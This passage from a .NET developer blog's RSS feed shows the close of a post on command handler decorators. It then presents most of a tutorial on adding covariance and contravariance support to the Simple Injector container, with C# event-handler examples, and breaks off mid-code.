CustomerController DbException  DeadlockRetryCommandHandlerDecorator EntityFrameworkUnitOfWork ICommandHandler MoveCustomerCommand MoveCustomerCommandHandler Thread TransactionCommandHandlerDecorator TransactionScope UnitOfWork Container ValidationCommandHandlerDecorator AuthorizationCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">using SimpleInjector;<br />using SimpleInjector.Extensions;<br /><br />var container = new Container();<br /><br />// Go look in all assemblies and register all implementations<br />// of ICommandHandler&lt;T&gt; by their closed interface:<br />container.RegisterManyForOpenGeneric(<br />    typeof(ICommandHandler&lt;&gt;),<br />    AppDomain.CurrentDomain.GetAssemblies());<br /><br />// Decorate each returned ICommandHandler&lt;T&gt; object with<br />// a TransactionCommandHandlerDecorator&lt;T&gt;.<br />container.RegisterDecorator(typeof(ICommandHandler&lt;&gt;),<br />    typeof(TransactionCommandHandlerDecorator&lt;&gt;));<br /><br />// Decorate each returned ICommandHandler&lt;T&gt; object with<br />// a DeadlockRetryCommandHandlerDecorator&lt;T&gt;.<br />container.RegisterDecorator(typeof(ICommandHandler&lt;&gt;),<br />    typeof(DeadlockRetryCommandHandlerDecorator&lt;&gt;));<br /><br />// Decorate handlers conditionally with validation. In<br />// this case based on their metadata.<br />container.RegisterDecorator(typeof(ICommandHandler&lt;&gt;),<br />    typeof(ValidationCommandHandlerDecorator&lt;&gt;),<br />    c =&gt; ContainsValidationAttributes(c.ServiceType));<br /><br />// Decorates all handlers with an authorization decorator.<br />container.RegisterDecorator(typeof(ICommandHandler&lt;&gt;),<br />    typeof(AuthorizationCommandHandlerDecorator&lt;&gt;));</pre><p>No matter how many command handlers you add to the system, these few lines of code won&rsquo;t change, which also helps to underline the true power of a DI framework. Once your application is built applying the SOLID principles, a good DI framework will ensure that the startup path of your application remains maintainable.</p><p>This is how I roll on the command side of my architecture.</p><p>If you found this article interesting, you should also read my follow up: <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92" title=".NET Junkie - Meanwhile&hellip; on the query side of my architecture">Meanwhile... on the query side of my architecture</a> and take a look how to <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=93" title=".NET Junkie - Returning data from command handlers">return data from command handlers</a>. In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=95" title=".NET Junkie - Writing Highly Maintainble WCF Services">Writing highly maintainable WCF services</a> I talk about sending commands over the wire.</p> ]]></description>
			<guid isPermaLink="false">91@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Architecture, C#, Dependency injection</category>
			<pubDate>Sun, 11 Dec 2011 23:08:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Adding Covariance and Contravariance to the Simple Injector</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=90</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=90#comm</comments>
                        <description><![CDATA[ A few weeks back I read <a rel="external" href="http://stackoverflow.com/questions/7010236/customizing-autofacs-component-resolution-issue-with-generic-co-contravarianc" title="Stackoverflow - Customizing Autofac's component resolution / Issue with generic co-/contravariance">this question</a> on <a rel="external" href="http://www.stackoverflow.com/" title="Stackoverflow">Stackoverflow</a>. The question was about applying <a rel="external" href="http://msdn.microsoft.com/en-us/library/dd799517.aspx" title="MSDN - Covariance and Contravariance in Generics">covariance / contravariance</a> (or variance for short) to the <a rel="external" href="http://code.google.com/p/autofac/" title="Autofac">Autofac</a> dependency injection container. The question triggered me to think about variance support in the <a rel="external" href="http://simpleinjector.codeplex.com/" title="Simple Injector">Simple Injector</a>.  I was wondering whether special changes were needed to the core  framework to allow this. However, it didn't take me long to realize that  enabling variance is actually pretty easy for anyone using the Simple  Injector. The prerequisites are a proper application design and .NET  4.0.<p><img src="http://www.cuttingedge.it/blogs/steven/images/nurse1.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />What's nice about the Simple Injector IMO, is that although it has a small API, it has a few very cleverly chosen extensibility points, which make it possible to add almost every imaginable advanced scenario. Both the SimpleInjector.Extensions.dll (which runs on top of the core library <em>without any access to the internals</em>) and the examples in the <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=Advanced-scenarios" title="Advanced scenarios with the Simple Injector">advanced scenarios section</a> on <a rel="external" href="http://www.codeplex.com" title="Codeplex">CodePlex</a>, prove this point.</p><p>Although the extensibility points of the Simple Injector are fine, adding out of the box support for variance still isn't possible. It is not a limitation of the Simple Injection however; it is the possible variety of application designs that makes it impossible to come with a single solution that works for everybody.</p><p>For instance, what should the container do when an unregistered (variant) service type is requested? It should probably go look for a registration that is assignable from that requested type. But what if there are multiple compatible registrations? Should the container throw an exception? Should the container use the registration that is closest in the inheritance hierarchy to the requested type? And what to do when there are multiple types that are just as close? Or should the container return a list of all compatible registrations (possibly wrapped in a <a rel="external" href="http://en.wikipedia.org/wiki/Composite_pattern" title="Wikipedia - Composite Design Pattern">composite</a>). And should this behavior hold for all types in the container, should it just be enabled for a set or types, or should the behavior differ per registration?</p><p>In the end, it is the application designer / developer that must decide what the correct behavior is, and because of this, it is impossible for a framework to pick the correct behavior. Because of this, I'm not adding such feature to the framework or even the Extensions.dll. But as I said, it is pretty easy to do it yourself, and I will describe how to in the rest of this article. </p><p>If you are still reading this, I assume you are one of the few who needs variance support -or- you are (like me) a geek who likes to think about this sort of stuff, just because it is fun :-). Below I'll describe three scenarios that I think are the most common ones to appear when you need to apply variance. Below I'll define an <span class="type">IEventHandler</span><span class="code">&lt;TEvent&gt;</span> interface with supporting classes that I'll be using as example for the rest of this article.</p><p>Event handlers are a good example to show case variance support, because they are likely part of the application design that would benifit from it. Event handlers are used more and more in common architecture. <a rel="external" href="http://abdullin.com/cqrs" title="Command and Query Responsibility Segregation">CQRS</a> is good example of an architecture that uses them extensively. When a single event is raised (by a command for instance), it seems reasonable to set up the application in such way that multiple event handlers would trigger that event. But to go a step further, imagine the definition of a <span class="type">CustomerMovedAbroadEvent</span> that inherits from a <span class="type">CustomerMovedEvent</span>. An event handler that handles a <span class="type">CustomerMovedEvent</span> can technically also handle a <span class="type">CustomerMovedAbroadEvent</span> (if it doesn't work, we would be breaking the <a rel="external" href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" title="Wikipedia - Liskov substitution principle">Liskov substitution principle</a> anyway). Not only would we want to have multiple event handlers to handle a single <span class="type">CustomerMovedEvent</span> event, we also want those same handlers to handle a <span class="type">CustomerMovedAbroadEvent</span> event. For this scenario we need to add contravariance support (or atleast, contravariance will make it much easier to implement this).</p><p>The next code snippet shows a <span class="type">CustomerMovedEvent</span> class with two derived classes: <span class="type">CustomerMovedAbroadEvent</span> and <span class="type">SpecialCustomerMovedEvent</span>. For simplicity I removed all properties. These event classes typically contain just data (<a rel="external" href="http://martinfowler.com/eaaCatalog/dataTransferObject.html" title="Data Transformation Object">DTO</a>) and no behavior (separating data and behavior is an important concept when it comes to applying dependency injection). Behavior is defined in event handlers, all implementing the generic <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="keyword">in</span><span class="code"> TEvent&gt;</span> interface. Note the C# 4.0 <span class="keyword">in</span> keyword in the <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="keyword">in</span><span class="code"> TEvent&gt;</span>. This keyword allows variance (contravariance in this case) support.</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">// Events<br />public class CustomerMovedEvent { }<br /><br />public class CustomerMovedAbroadEvent : CustomerMovedEvent { }<br /><br />public class SpecialCustomerMovedEvent : CustomerMovedEvent { }<br /><br />// Generic handler interface<br />public interface IEventHandler&lt;in TEvent&gt;<br />{<br />    void Handle(TEvent e);<br />}<br /><br />// Handler implementations<br />public class CustomerMovedEventHandler<br />    : IEventHandler&lt;CustomerMovedEvent&gt;<br />{<br />    public void Handle(CustomerMovedEvent e) { ... }<br />}<br /><br />public class NotifyStaffWhenCustomerMovedEventHandler<br />    : IEventHandler&lt;CustomerMovedEvent&gt;<br />{<br />    public void Handle(CustomerMovedEvent e) { ... }<br />}<br /><br />public class CustomerMovedAbroadEventHandler<br />    : IEventHandler&lt;CustomerMovedAbroadEvent&gt;<br />{<br />    public void Handle(CustomerMovedAbroadEvent e) { ... }<br />} <br /></pre><p>The use of the <span class="keyword">in</span> keyword allows us to write the following (compiling) code:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">IEventHandler&lt;CustomerMovedEvent&gt; handler =<br />    new CustomerMovedEventHandler();<br /><br />// This next line works because of the 'in' keyword<br />IEventHandler&lt;CustomerMovedAbroadEvent&gt; handler2 = handler;<br /><br />handler2.Handle(new CustomerMovedAbroadEvent());</pre><p>As I explained, event handlers are a good example to show case variance support, because they are a likely part of the application design to need variance support. When raising a single <span class="type">CustomerMovedAbroadEvent</span> event, it seems reasonably to set up the application in such way that all three previously defined event handlers will handle that event.</p><p>Letting multiple event handlers handle a single event is perhaps the most likely and also the nicest scenario to implement. So let's start with this one:</p><h5>Scenario 1<a name="Scenario1" title="Scenario1"></a></h5><h6>Register multiple implementations of the same service type, and resolving multiple assignable services, wrapped in a composite.</h6><p>In this scenario we would like to configure the container in such way that when we request a single event handler for an event, it would return us a composite handler that would forward the event to all assignable event handlers, with the possibility of having multiple handlers that share the exact same service type. In other words, with the previously defined event handlers, the following code should lead to the execution of all three event handlers:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">var handler = container<br />    .GetInstance&lt;IEventHandler&lt;CustomerMovedAbroadEvent&gt;&gt;();<br /><br />handler.Handle(new CustomerMovedAbroadEvent());</pre><p>Note that the <span class="type">CustomerMovedEventHandler</span> and the <span class="type">NotifyStaffWhenCustomerMovedEventHandler</span> both handle the <span class="type">CustomerMovedEvent</span> event and they are both assignable from <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedAbroadEvent</span><span class="code">&gt;</span>. In other words, because <span class="type">CustomerMovedAbroadEvent</span> inherits from <span class="type">CustomerMovedEvent</span>, both handlers are able to handle a <span class="type">CustomerMovedAbroadEvent</span>. And of course the container's configuration should enable this.</p><p>By defining a composite event handler that forwards the event to the wrapped handlers, we will be able to hide this design from the application. Consumers will not have to depend on <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span>, but can simply depend on <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;</span>, which is of course much more convenient.</p><p style="padding-left: 30px"><em>As a general advice, you should prevent injecting lists of services into  consumers if you can, by wrapping that list in a composite, and inject  that composite into consumers. Not wrapping the list in a composite would clutter the application with extra <span class="keyword">foreach</span> loops. While this doesn't seem bad, the consumers shouldn't care, but worse, when we want to change the way the list of services is handled, we will have to go through the complete application, which is a violation of the <a rel="external" href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself" title="Wikipedia - Don't repeat yourself">DRY principle</a>.</em></p><p>For this to work we need to define the composite. Without the need for any (contra)variance, the simplest way to define such composite, would be something like this:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">public sealed class MultipleDispatchEventHandler&lt;TEvent&gt;<br />    : IEventHandler&lt;TEvent&gt;<br />{<br />    private IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt; handlers;<br /><br />    public MultipleDispatchEventHandler(<br />        IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt; handlers)<br />    {<br />        this.handlers = handlers;<br />    }<br /><br />    void IEventHandler&lt;TEvent&gt;.Handle(TEvent e)<br />    {<br />        foreach (var handler in this.handlers)<br />        {<br />            handler.Handle(e);<br />        }<br />    }<br />}</pre><p>This class takes a dependency on <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span> and all it does is iterating that collection and calling <span class="code">Handle(e)</span> on each handler in the collection. Note that although it takes a dependency on <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span>, the rest of the application will be oblivious of the <span class="type">IEnumerable</span> and it can simply take a dependency on <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;</span>. Contravariance will make this class a bit more complex though, but let's get back on that later. Let's first focus on the registration of the event handlers.</p><p>The <span class="type">CustomerMovedEventHandler</span> and <span class="type">NotifyStaffWhenCustomerMovedEventHandler</span> share the same interface: <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span>. Unlike other IoC containers, the Simple Injector does not allow implicit registration of multiple implementations of the same type. For instance, the following code snippet will fail at runtime:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.Register&lt;IEventHandler&lt;CustomerMovedEvent&gt;,<br />    CustomerMovedEventHandler&gt;();<br />container.Register&lt;IEventHandler&lt;CustomerMovedEvent&gt;,<br />    NotifyStaffWhenCustomerMovedEventHandler&gt;();<br /></pre><p>When running this code, it will fail on the second line, because at that point <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span> has already been registered. The actual way to do this with the Simple Injector is by using one of the <span class="code">RegisterAll</span> methods (defined in the Extensions.dll), for instance:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterAll(typeof(IEventHandler&lt;CustomerMovedEvent&gt;),<br />    new[]<br />    {<br />        typeof(CustomerMovedEventHandler),<br />        typeof(NotifyStaffWhenCustomerMovedEventHandler)<br />    });<br /><br />container.RegisterAll(typeof(IEventHandler&lt;CustomerMovedAbroadEvent&gt;),<br />    new[] { typeof(CustomerMovedAbroadEventHandler) });</pre><p>While this works, I personally prefer to use the following -less verbose- generic overload:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterAll&lt;IEventHandler&lt;CustomerMovedEvent&gt;&gt;(<br />    typeof(CustomerMovedEventHandler),<br />    typeof(NotifyStaffWhenCustomerMovedEventHandler));<br /><br />container.RegisterAll&lt;IEventHandler&lt;CustomerMovedAbroadEvent&gt;&gt;(<br />    typeof(CustomerMovedAbroadEventHandler));</pre><p>These <span class="code">RegisterAll</span> methods actually register a single enumerable that calls back into the container on iteration. The actual types won't get registered themselves, but since they are concrete types, the container will be able to create them anyway. As a side note, the code below shows a simplified (and slower) version of what the <span class="code">RegisterAll</span> method actually is doing under the covers:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">var types = new[]<br />{<br />    typeof(CustomerMovedEventHandler), <br />    typeof(NotifyStaffWhenCustomerMovedEventHandler)<br />};<br /><br />container.RegisterSingle&lt;IEnumerable&lt;IEventHandler&lt;CustomerMovedEvent&gt;&gt;&gt;(<br />    from type in types<br />    select (IEventHandler&lt;CustomerMovedEvent&gt;)container.GetInstance(type)<br />);</pre><p>Although the <span class="code">RegisterAll</span> overloads are pretty easy to grasp, it gets cumbersome when the application has dozens of event handlers. The same can therefore be achieved in a more automated way by doing batch registration:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IEventHandler&lt;&gt;),<br />    (service, impls) =&gt; container.RegisterAll(service, impls),<br />    AppDomain.CurrentDomain.GetAssemblies());</pre><p>This registration tells the container to go look for all concrete implementations of the <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;</span> interface in all assemblies of the current App Domain. The other <span class="code">RegisterManyForOpenGeneric</span> overloads that don't take a delegate, directly register the found implementations in the container. Those overloads are however not able to handle service types with multiple registrations (as is the case with the <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span>). By supplying a delegate, we inform the container that it should not do the registration itself, but rather delegate that back to the supplied registration callback. For each found service type (in our case <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span> and <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedAbroadEvent</span><span class="code">&gt;</span>) the delegate will be called once, and the supplied delegate will call the <span class="code">RegisterAll</span> method to register a collection of the given service type. In the delegate we call the same <span class="code">RegisterAll</span> overload as was done in the first example.</p><p>With this configuration, these registrations can be resolved by calling <span class="code">container.GetInstance&lt;</span><span class="type">IEnumerable</span><span class="code">&lt;T&gt;&gt;()</span> or by calling <span class="code">container.GetAllInstances&lt;T&gt;()</span> (which is a short cut to <span class="code">GetInstance&lt;</span><span class="type">IEnumerable</span><span class="code">&lt;T&gt;&gt;()</span>). A registered collection could also be injected in a constructor that takes an <span class="type">IEnumerable</span><span class="code">&lt;T&gt;</span>, as we've seen with the <span class="type">MultipleDispatchEventHandler</span><span class="code">&lt;TEvent&gt;</span>. Constructor injection always has the preference over calling the container directly.</p><p>With this configuration in place we can now focus again on the <span class="type">MultipleDispatchEventHandler</span><span class="code">&lt;TEvent&gt;</span>. Although the earlier implementation of the <span class="type">MultipleDispatchEventHandler</span><span class="code">&lt;TEvent&gt;</span> works effectively as a composite, it doesn't handle the contravariance that we need for these event handlers. Because it is not feasible to configure the container in such way that assignable implementations are injected too, we can best solve this inside the <span class="type">MultipleDispatchEventHandler</span>'s constructor. Here's how to do it:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">public sealed class MultipleDispatchEventHandler&lt;TEvent&gt;<br />    : IEventHandler&lt;TEvent&gt;<br />{<br />    private IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt; handlers;<br /><br />    public MultipleDispatchEventHandler(Container container)<br />    {<br />        var handlersType =<br />            typeof(IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt;);<br /><br />        var handlersCollection = (<br />            from r in container.GetCurrentRegistrations()<br />            where handlersType.IsAssignableFrom(r.ServiceType)<br />            select r.GetInstance())<br />            .Cast&lt;IEnumerable&lt;IEventHandler&lt;TEvent&gt;&gt;&gt;()<br />            .ToArray();<br /><br />        this.handlers =<br />            from handlers in handlersCollection<br />            from handler in handlers<br />            select handler;<br />    }<br /><br />    void IEventHandler&lt;TEvent&gt;.Handle(TEvent e)<br />    {<br />        foreach (var handler in this.handlers)<br />        {<br />            handler.Handle(e);<br />        }<br />    }<br />}</pre><p>The code in the constructor isn't that hard to grasp, but it probably still needs some explanation. Instead of injecting an <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span> we now inject the container itself. The <span class="type">MultipleDispatchEventHandler</span> constructor iterates over all registrations in the container and gets all registrations where <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span> is assignable from the registration's service type. Remember that we registered the handlers using <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="code">T&gt;</span>. Although the application contains three event handlers, they are contained in two <span class="type">IEnumerable</span><span class="code">&lt;</span><span class="type">IEventHandler</span><span class="code">&lt;</span><span class="code">TEvent&gt;&gt;</span> registrations.</p><p>The query results in a collection of event handler collections (a collection per registration). Calling <span class="code">ToArray()</span> on the query triggers the immediate execution of that query, which prevents the list of registrations to be evaluated every time that collection is iterated (which will maximize performance). Leaving the elements of the array enumerables (instead of arrays) however, allows the event handlers to be lazily requested, which preserves their lifestyle (which is transient in the current configuration). This allows us to register the <span class="type">MultipleDispatchEventHandler</span> as singleton. This will again maximize performance.</p><p>Note that because the <span class="type">MultipleDispatchEventHandler</span> contains registration logic, it is clearly part of the <a rel="external" href="http://blog.ploeh.dk/2011/07/28/CompositionRoot.aspx" title="Mark Seemann's blog - Composition Root">Composition Root</a>; the startup path of the application. Do not place this class inside the application, because this will force the application to have a dependency on the IoC container, which is bad practice.</p><p>The only thing missing now is the registration of the <span class="type">MultipleDispatchEventHandler </span>itself, which is a simple one-liner:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterSingleOpenGeneric(typeof(IEventHandler&lt;&gt;),<br />    typeof(MultipleDispatchEventHandler&lt;&gt;));</pre><p>With this in place we now have completed our first scenario.</p><h5>Scenario 2<a name="Scenario2" title="Scenario2"></a></h5><h6>Register a single implementation of a service type, and resolve a single instance.</h6><p>In this scenario we want to configure the container in such way that when we request a single event handler for a particular event, it would return the single registered instance for that event, or is case it doesn't exist, return a compatible registered event handler.</p><p style="padding-left: 30px"><em>Note: Although this scenario is perhaps a bit less likely for the example using event handlers, but it is still a realistic one, and Autofac </em><em>partially </em><em>supports this scenario out of the box. </em></p><p>Because there is a one-to-one mapping between the registered service type and the implementation, we can use the 'normal' way of registering event handlers:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.Register&lt;IEventHandler&lt;CustomerMovedEvent&gt;,<br />    CustomerMovedEventHandler&gt;();<br />container.Register&lt;IEventHandler&lt;CustomerMovedAbroadEvent&gt;,<br />    CustomerMovedAbroadEventHandler&gt;();</pre><p>And of course we can achieve the same using batch registration:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.RegisterManyForOpenGeneric(typeof(IEventHandler&lt;&gt;),<br />    typeof(IEventHandler&lt;&gt;).Assembly);<br /></pre><p>Note that the <span class="type">NotifyStaffWhenCustomerMovedEventHandler</span> is not included, since this scenario implies a single implementation per handler type, but that handler shares the same interface with the <span class="type">CustomerMovedEventHandler</span>.</p><p>With this configuration we can of course resolve an <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">CustomerMovedEvent</span><span class="code">&gt;</span> without trouble, but resolving an <span class="type">IEventHandler</span><span class="code">&lt;</span><span class="type">SpecialCustomerMovedEvent</span><span class="code">&gt;</span>&nbsp; will fail with an <span class="type">ActivationException</span>. What's missing is the resolution of unresolved types. We can do this by hooking onto the <span class="code">ResolveUnregisteredType</span> event of the <span class="type">Container</span> class, just as the <span class="code">RegisterOpenGeneric</span> and <span class="code">RegisterSingleOpenGeneric</span> extension methods of the SimpleInjector.Extensions.dll do internally.</p><p>We can for instance define a single extension method that allows mapping a missing type to an assignable type:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler ActivationException" customvaluetypes="PutYourCustomValueTypesHere">public static void AllowToResolveVariantTypes(<br />    this Container container)<br />{<br />    container.ResolveUnregisteredType += (sender, e) =&gt;<br />    {<br />        Type serviceType = e.UnregisteredServiceType;<br /><br />        if (!serviceType.IsGenericType)<br />        {<br />            return;<br />        }<br /><br />        Type def = serviceType.GetGenericTypeDefinition();<br /><br />        var registrations = (<br />            from r in container.GetCurrentRegistrations()<br />            where r.ServiceType.IsGenericType<br />            where r.ServiceType.GetGenericTypeDefinition() == def<br />            where serviceType.IsAssignableFrom(r.ServiceType)<br />            select r)<br />            .ToArray();            <br />            <br />        if (!registrations.Any())<br />        {<br />            // No registration found. We're done.<br />        }<br />        else if (registrations.Length == 1)<br />        {<br />            var registration = registrations[0];<br />            e.Register(registration.BuildExpression());<br />        }<br />        else<br />        {<br />            var names = string.Join(&quot;, &quot;, registrations<br />                .Select(r =&gt; string.Format(&quot;{0}&quot;, r.ServiceType)));<br /><br />            throw new ActivationException(string.Format(<br />                &quot;It is impossible to resolve type {0}, because &quot; +<br />                &quot;there are {1} registrations that are &quot; +<br />                &quot;applicable. Ambiguous registrations: {2}.&quot;,<br />                serviceType, registrations.Length, names));<br />        }<br />    };<br />}</pre><p>This extension method registers a delegate to the container's <span class="code">ResolveUnregisteredType</span> event. Every time an unregistered type is requested from the container, the container will first call the <span class="code">ResolveUnregisteredType</span> to get a resolution for that type, before it will try to create that type itself. The delegate is supplied with an <span class="type">UnregisteredTypeEventArgs</span> that contains a <span class="code">Register(</span><span class="type">Expression</span><span class="code">)</span> method, which allows to register type. The delegate doesn't have to call the <span class="code">Register</span> method, and that is what happens in this extension method; If the <span class="code">UnregisteredServiceType</span> is not generic, the delegate returns immediately, which allows other registered delegates (if any) to respond by registering a <span class="type">Expression</span> for that service type.</p><p>The registered delegate will query the container for assignable registrations, much like we've seen in the first scenario. When no assignable service type is found in the container, the delegate returns. Otherwise it maps the found registration to the unregistered service type (making that unregistered type effectively registered). In case there are multiple assignable registrations, an exception is thrown. In that case there is obviously some ambiguity in the registration. Of course we could try to be smarter than this, and try to resolve this ambiguity. Throwing however is the simplest thing to do :-).</p><p>What's nice about this, is that it works for both covariant (<span class="keyword">out</span>) and contravariant (<span class="keyword">in</span>) types (both for generic interfaces and generic delegates) and even for types with a mixture of in and out arguments (such as <span class="type">Func</span><span class="code">&lt;</span><span class="keyword">in</span><span class="code"> T, </span><span class="keyword">out</span><span class="code"> TResult&gt;</span>). The reason this works is because we make use of the .NET 4.0 <span class="type">Type</span><span class="code">.IsAssignableFrom</span> method, which has built-in support for variance. Compare that to Autofac for instance where support is limited to interfaces that just contain a single <span class="keyword">in</span> type argument (<span class="keyword">out</span> is not supported). Not to pick on Autofac btw. It is the only container that has out-of-the-box support for variance.</p><p>Please note that although there is an obvious performance hit when an unregistered type is resolved this way, the penalty is one-time. The registration is cached, and although the container does not guarantee the delegate to be called just once, in normal cases it will be called just a single time. (however, you will have to make sure the delegate hooked to the <span class="code">ResolveUnregisteredType</span>  event is thread-safe, but in most cases this is a no-brainer). </p><p>With this extension method in place, we can add variance support to the container like this:</p><pre class="cs" language="csharp" customtypes="CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">container.AllowToResolveVariantTypes();</pre><p>With the previous registration we can now resolve the following type, even though it wasn't registered explicitly:</p><pre class="cs" language="csharp" customtypes="Assert CustomerMovedEvent CustomerMovedAbroadEvent SpecialCustomerMovedEvent IEventHandler CustomerMovedEventHandler NotifyStaffWhenCustomerMovedEventHandler CustomerMovedAbroadEventHandler Container MultipleDispatchEventHandler" customvaluetypes="PutYourCustomValueTypesHere">var handler =<br />    container.GetInstance&lt;IEventHandler&lt;SpecialCustomerMovedEvent&gt;&gt;();<br /><br />Assert.IsInstanceOfType(handler, typeof(CustomerMovedEventHandler));</pre><h5>Scenario 3<a name="Scenario3" title="Scenario3"></a></h5><h6>Register a single implementation for some service type, and resolve multiple assignable services.</h6><p>This scenario is a mix between scenario 1 and scenario 2. As with the second scenario we have just a single implementation for each service type, but want to resolve all compatible handlers for a given event, just as with scenario 1.</p><p>We can for instance register the two event handlers the same way as we did in the previous scenario:</p><pre class="cs" 